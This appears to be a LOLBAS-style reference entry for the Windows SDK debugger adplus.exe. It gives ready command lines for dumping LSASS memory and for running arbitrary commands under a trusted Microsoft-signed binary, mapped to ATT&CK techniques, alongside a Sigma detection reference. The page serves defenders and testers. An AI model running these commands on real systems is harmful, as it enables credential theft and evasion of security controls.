



# /adplus.exe ☆ Star 7,060

[Dump](#) [Execute](#)

Debugging tool included with Windows Debugging Tools

### Paths:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\adplus.exe  
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\adplus.exe

### Resources:

- <https://mrd0x.com/adplus-debugging-tool-lsass-dump/>
- [https://twitter.com/nas\\_bench/status/1534916659676422152](https://twitter.com/nas_bench/status/1534916659676422152)
- [https://twitter.com/nas\\_bench/status/1534915321856917506](https://twitter.com/nas_bench/status/1534915321856917506)

### Acknowledgements:

- mr.d0x ([@mrd0x](#))
- Nasreddine Bencherchali ([@nas\\_bench](#))

### Detections:

- Sigma: [proc\\_creation\\_win\\_lolbin\\_adplus.yml](#)
- IOC: As a Windows SDK binary, execution on a system may be suspicious

## Dump

1. Creates a memory dump of the lsass process

```
adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet
```

**Use case:** Create memory dump and parse it offline  
**Privileges required:** SYSTEM  
**Operating systems:** All Windows  
**ATT&CK® technique:** [T1003.001: LSASS Memory](#)

2. Dump process memory using adplus config file (see Resources section for a sample file).

```
adplus.exe -c config-adplus.xml
```

**Use case:** Run commands under a trusted Microsoft signed binary  
**Privileges required:** SYSTEM  
**Operating systems:** All Windows  
**ATT&CK® technique:** [T1003.001: LSASS Memory](#)

## Execute

1. Execute arbitrary commands using adplus config file (see Resources section for a sample file).

```
adplus.exe -c config-adplus.xml
```

**Use case:** Run commands under a trusted Microsoft signed binary  
**Privileges required:** User  
**Operating systems:** All Windows  
**ATT&CK® technique:** [T1127: Trusted Developer Utilities Proxy Execution](#)

2. Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.

```
adplus.exe -crash -o "C:\temp\" -sc calc.exe
```

**Use case:** Run commands under a trusted Microsoft signed binary  
**Privileges required:** User  
**Operating systems:** All windows  
**ATT&CK® technique:** [T1127: Trusted Developer Utilities Proxy Execution](#)